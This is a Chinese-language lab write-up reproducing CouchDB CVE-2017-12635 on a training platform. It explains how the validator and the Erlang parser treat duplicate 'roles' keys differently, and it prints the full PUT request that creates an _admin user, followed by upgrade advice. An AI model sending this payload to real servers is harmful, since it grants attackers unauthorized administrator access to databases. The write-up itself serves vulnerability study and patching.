CouchDB垂直越權漏洞（CVE-2017-12635）

架構介紹：

Apache CouchDB是一個開源資料庫，專注于易用性和成為"完全擁抱web的資料庫"。它是一個使用JSON作為存儲格式，JavaScript作為查詢語言，MapReduce和HTTP作為API的NoSQL資料庫。應用廣泛，如BBC用在其動态内容展示平台，Credit Suisse用在其内部的商品部門的市場架構，Meebo，用在其社交平台（web和應用程式）

環境搭建：

采用線上環境 位址

漏洞分析：

主要關注改包的過程，所發送的post資料為

{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub123"
}
           

其中有兩個roles參數，JavaScript在解析式會把

“roles”: ["_admin"],

“roles”:[],

解析成為

“roles”:[]

那就意味着JavaScript在檢測時，檢測我們建立的使用者角色＝０，無角色，也就不存在權限，是以沒有危害，系統判定為安全，繞過了檢測，接下來在CouchDB的Erlang部分實作身份驗證和授權時，jiffy實作的時候，getter函數隻傳回第一個值也就是"roles": ["_admin"],是以建立出了具有admin權限的賬戶

漏洞複現：

通路首頁

burp進行抓包，構造poc 

PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: vulfocus.fofa.so:27922
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1635834194,1635834251; grafana_session=4ed2fe8aecc214c9bbb634d8399014fb
Upgrade-Insecure-Requests: 1
X-Forwarded-For: 127.0.0.1
Content-Length: 104

{ 
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles":[],
"password": "vulhub123"
}

           

 看到使用者建立成功

通路ip/_utils，看到我們建立的使用者

漏洞防禦：

根據官方更新包，更新到CouchDB 1.7.1或 2.1.1